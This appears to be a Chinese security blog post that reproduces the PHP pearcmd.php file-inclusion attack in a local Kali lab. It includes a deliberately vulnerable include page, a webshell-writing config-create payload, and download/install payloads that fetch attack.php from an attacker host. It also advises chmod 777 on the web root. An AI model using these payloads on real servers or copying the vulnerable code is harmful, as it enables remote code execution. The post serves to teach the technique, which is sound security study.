获取中...

-

Just a minute...

1register_argc_argv

性质

这是PHP中的一个配置项 用于决定是否在脚本中声明_$argc_ 和 _$argv_ 变量
这两个变量在命令行模式下是十分重要的

  • $argc:表示传递给脚本的参数数量
  • $argv:这是一个数组 包含传递给脚本的参数值
    它的工作原理是将命令行参数传递给PHP脚本 当脚本运行时这些参数被解析为 $argc 和 $argv 变量

测试

我们可以构造下列代码进行一个测试

1
2
3
4
5
6
7
8
9
10
11
<?php

highlight_file(__FILE__);

var_dump($_SERVER['argv']);

$a = $_SERVER['argv'];

$a[0]($a[1]);

?>

我们传入?ssss+sadasdsad
可以看到在这个页面下 作为分割符号的是加号 加号前后会被分割成不同的值

测试时候遇到的小问题

某些朋友使用小皮面板搭建本地测试环境的时候很可能会发现一直报NULL

这是由于在PHP中register_argc_argv这个配置默认是off 解决方式也很简单 找到php.ini这个文件夹将其修改即可(D:\phpstudy_pro\Extensions\php\php7.3.4nts博主的php.ini存在路径是这个 大家可以参考一下)记得改完之后重启一下小皮面板的服务
之后我们还要注意 常用的ls是linux下单命令 在windows下无法使用 我们可以使用dir

还有个很有意思的事情 我在test.php(也就是当前页面)的同一文件夹下创建了一个含有自制flag的flag.txt
此时使用这样的payload
?system+sort flag.txt是无法查看到正确的内容的
按照逻辑上来说这应该是正确的但是在实际操作中我们明显看到不可行 往往这是windows命令行地下有一些环境变量或者执行上下文的问题
这时候我们应该考虑 不走操作系统的途径 直接通过PHP去读取flag.txt
我们可以尝试?show_source+flag.txt或者?highlight_file+flag.txt这两种只需要一个参数就能直接读取并且输出文件内容的函数 就能成功查看到flag ![[屏幕截图 2026-03-10 192341.png]]
挺有意思 可以有一些启发

Pearcmd

我们要了解 pearcmd是PHP的一个命令行工具 用以管理拓展
根据p神的文章我们可以分析一下pearmd.php Docker PHP裸文件本地包含综述 | 离别歌

我们在PHP源码中可以看到这样的逻辑:

zend_bool php_auto_globals_create_server(zend_string *name)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
{
if (PG(variables_order) && (strchr(PG(variables_order),'S') || strchr(PG(variables_order),'s'))) {
php_register_server_variables();

if (PG(register_argc_argv)) {
if (SG(request_info).argc) {
zval *argc, *argv;

if ((argc = zend_hash_find_ex_ind(&EG(symbol_table), ZSTR_KNOWN(ZEND_STR_ARGC), 1)) != NULL &&
(argv = zend_hash_find_ex_ind(&EG(symbol_table), ZSTR_KNOWN(ZEND_STR_ARGV), 1)) != NULL) {
Z_ADDREF_P(argv);
zend_hash_update(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), ZSTR_KNOWN(ZEND_STR_ARGV), argv);
zend_hash_update(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), ZSTR_KNOWN(ZEND_STR_ARGC), argc);
}
} else {
php_build_argv(SG(request_info).query_string, &PG(http_globals)[TRACK_VARS_SERVER]);
}
}

} else {
zval_ptr_dtor_nogc(&PG(http_globals)[TRACK_VARS_SERVER]);
array_init(&PG(http_globals)[TRACK_VARS_SERVER]);
}
...

根据p神的分析 我们可以知道第一个if语句判断variables_order中是否有S,即$_SERVER变量;第二个if语句判断是否开启register_argc_argv,第三个if语句判断是否有request_info.argc存在,如果不存在,其执行的是这条语句:

php_build_argv(SG(request_info).query_string, &PG(http_globals)[TRACK_VARS_SERVER]);

根据p神的文章我们知道
SG(request_info).query_string会将http数据包中的query_string作为argv的值

1
2
3
4
5
6
7
8
9
10
public static function readPHPArgv() 
{ global $argv;
if (!is_array($argv))
{ if (!@is_array($_SERVER['argv']))
{ if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv']))
{ $msg = "Could not read cmd args (register_argc_argv=Off?)";
return PEAR::raiseError("Console_Getopt: " . $msg); }
return $GLOBALS['HTTP_SERVER_VARS']['argv']; }
return $_SERVER['argv']; }
return $argv; }

在p神的分析中我们可以看到
在这一段代码中我们看到 pear会先尝试$argv,如果不存在再尝试$_SERVER['argv'],后者我们可通过query-string控制。也就是说,我们通过Web访问了pear命令行的功能,且能够控制命令行的参数。
并且在p神的文章中我们发现他给出了一个参数表

经过博主的理解 这里面比较重要并且能被我们所利用的实际上也就三个命令

  1. config-create
  2. download
  3. install
    接下来我将逐一为大家讲解

config-create的利用

我们看到config首先想到的肯定是配置文件 同样的 这个其实也就是pearcmd中的这么一个控制配置文件的命令
这个命令主要有两个参数 第一个参数是pearcmd.php文件的绝对路径 第二个参数是写入配置文件的路径 使用这个命令之后会把第一个路径产生点配置文件写入第二个路径的文件之中
诸如这样
pear config-create /usr/local/lib/php/pearcmd.php /var/www/html/evil.php
但是有意思的是 第一个参数并不会检查是否存在这个路径 也就是说你可以随意编造一个恶意代码 之后加上一个/假装他是一个合法的路径 之后将这个恶意代码写入目标文件之中

那么现在我们的攻击思路就比较明确了

  1. 包含pearcmd.php文件
  2. 使用config.create这个命令 在第一个参数之中传入恶意代码 在第二个传入已知的目标靶机的文件中
  3. 恶意代码被写入到了目标文件
  4. 包含目标文件 恶意代码被触发
    我们使用kali来进行一下实验
    首先得先安装一下pearcmd这个组件包
1
2
3
4
5
6
7
8
9
sudo apt update
sudo apt install apache2 php libapache2-mod-php php-xml php-cli//安装Apache PHP以及所需拓展

sudo apt install php-pear//安装pear组件

sudo vim /etc/php/*/apache2/php.ini
register_argc_argv = On//打开php.ini之后将这个改成On

sudo systemctl restart apache2//重启Apache服务

至此 我们所需要的环境搭建完成
接下来我们随便创建一个存在文件包含漏洞的文件即可
sudo vim /var/www/html/test.php
文件内容如下

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
$file=$_GET['file'];
include($file);
var_dump($_SERVER['argv']);
?>

那么接下来我们在这个文件包含页面之中输入以下payload

1
curl "http://127.0.0.1/test.php?file=/usr/share/php/pearcmd.php&+config-create+/<?=phpinfo()?>+/var/www/html/evil.php

写入成功的时候应该会返回这样的图片

此时我们打开evil .php可以看到里面被传入了一串反序列化内容

接下来我们只需要再包含这个evil.php即可触发恶意代码

我们对这个payload做出解释

1
?file=/usr/share/php/pearcmd.php&+config-create+/<?=phpinfo()?>+/var/www/html/evil.php
  1. file=/usr/share/php/pearcmd.php:这一段内容是再包含pearcmd这个文件————>传参给file变量
  2. &+config-create+:这一段是调用pearcmd.php中的config-create这个命令————>传参给argv这个变量0
  3. /<?=phpinfo()?>:这一段是传入的恶意代码 再前面加入斜杠假装自己是一个路径(pear的源码逻辑是把第一个参数当成一个普通的文本字符串保存在内存里,根本就没有有调用is_dir()或者file_exists()去硬盘上验证这个目录到底存不存在)
  4. +/var/www/html/evil.php:这是我们的目标写入文件
  5. 注意:在代码中的不同参数使用&符号分割 在对argv参数的传参之中使用+符号分割
    综上 就完成了整个pearcmd中config-create的漏洞复现

ps:本次复现是在kali之中实现的 所有环境都是linux环境 如果想使用windows环境的话也可以

1
ip addr show//通过这个指令查看你kali的ip地址 在物理机中访问将127.0.0.1改成你在kali中找到的ip就行 为了安全起见 不做图片展示

还有可能会遇到的问题是权限问题 因为/var/www/html是一个比较重要的目录 很多时候我们是没有对这个目录的写入权限的 这时候在本地测试的时候我们可以短暂的对这个目录进行提权

1
2
3
sudo chmod 777 /var/www/html  //将/var/www/html这个目录的权限打开

ls -ld /var/www/html //drwxrwxrwx显示这个的时候表示所有用户都可以读写执行

download的利用

这个命令的作用是远程下载文件
这个命令只有一个参数 就是想要下载的文件的路径
那么在实际应用之中我们就可以

  1. 在自己本地的kali之中编写个给含有恶意代码的文件
  2. 使用download这个命令将其下载到靶机之下
  3. 包含此时已经存在于靶机之中的恶意文件触发恶意代码
1
?file=/usr/share/php/pearcmd.php&+download+http://xxx.xxx.xxx.xx:xxxx/xxxx/attack.php

类似的payload如上所示
这个命令会把我们的恶意代码存储到靶机的/var/www/html目录或者/tmp/pear/download目录之下

install的利用

这个和download命令并无区别 只不过是会吧文件保存到/tmp/pear/download目录之下
类似的payload如下:

1
?file=/usr/share/php/pearcmd.php&+install+http://xxx.xxx.xxx.xx:xxxx/xxxx/attack.php

小结

至此我们对pearcmd文件包含这个比较新颖的文件包含知识有了一定的了解 其实本质上 这个pearcmd.php文件其实就是一个命令行工具包 我们在使用他进行文件包含的时候就是了他其中的工具 这些工具在传参上可能存在利用点 这样也就形成了我们的攻击

参考文章
Docker PHP裸文件本地包含综述 | 离别歌

相关文章
评论
分享
  • 社会工程学——cupp获取windows密码

    这其实本质是一个社会工程学问题至于为什么 在文章的最后想必大家也能理解假设现在有一个人短时间离开电脑之后并未锁屏 那么旁人就可以通过U盘拷贝重要密码文件的方式获取他的密码 密码文件获取windows并不会直接存储你的明文密码 它存的是...

    社会工程学——cupp获取windows密码
  • URLDNS链入门

    在一些测试环境之中 目标是否发生反序列化是无回显的 是否有一种办法能够测试目标是否能够发生反序列化呢?有的兄弟有的如果我们能让目标服务器通过反序列化发起一次DNS解析请求 那么在接收到请求的时候不就知道了吗那么这就是我们需要学习的UR...

    URLDNS链入门
  • 无痛入门java反序列化

    在学习URLDNS链以及之后的cc链之前 我们得先掌握java反序列化的基础知识 序列化和反序列化序列化把一个java对象转换成字节序列以便存储或者通过网络传输反序列化把字节序列还原成java对象 12序列化:对象->字符串反...

    无痛入门java反序列化
  • 用租房视角学习动态代理

    关于这一部分的知识点 我们先从静态代理说起 静态代理什么是代理? 代理就是:不操作目标对象而是通过一个中间人(代理)来间接操作最常见的现实例子就是租房问题:你要租房子 不需要直接找到房东 而是通过租房中介 中介帮你去和房东沟通 那么...

    用租房视角学习动态代理
  • 动态加载字节码

    动态加载字节码是一种让JVM可以接收由程序在运行时动态产生的字节数组并将其装在的能力 本义是让程序变得更加灵活 但是也产生了一定的安全问题 核心方法在java.lang.ClassLoader类中有一个方法 1protected fi...

    动态加载字节码
  • 类加载机制漫谈

    解释java字节码为什么需要编译成class文件我们首先要理解JVMjava是是一种混合型语言有编译的步骤也有解释步骤我们编写的java文件需要被编译成class文件之后才能被JVM运行 什么是class文件传统编译型语言(C C++...

    类加载机制漫谈
  • 反射随笔

    反射概念在java之中 万物都是对象 包括“类本身也是一个对象”(属于java.lang.Class类的对象) 反射的本质就是在程序运行期间 通过操控这个Class对象 反向解析和操控它所代表的哪个类里面的内容(构造器,属性,方法) ...

    反射随笔
  • LangChain反序列化

    最近在打SCTF的时候遇到一个LangChain反序列化的题目 比较新颖 于是想着学习一下 LangChain介绍LangChain是一个用于构建大语言模型应用的开源框架 通过这个可以把常用的组件抽象成可串联的链(Chain)举个例...

    LangChain反序列化
  • filter-chain漏洞演示

    这个漏洞链被称为CNEXT 由安全员Charles Fol披露 核心思想是利用系统内置的看似无害的模块(流过滤器)的巧妙组合 在受限的web环境之中执行命令 原理讲解filter协议对于filter伪协议 我们肯定都不陌生这个伪协议允...

    filter-chain漏洞演示
  • 死亡绕过

    前言以及环境介绍本文是对p神文章谈一谈php://filter的妙用 | 离别歌知识点的学习 本文主要介绍使用filter伪协议进行死亡绕过的三种方式 测试环境:小皮面板测试代码:exit.php 12345<...

    死亡绕过
Please check the parameter of comment in config.yml of hexo-theme-Annie!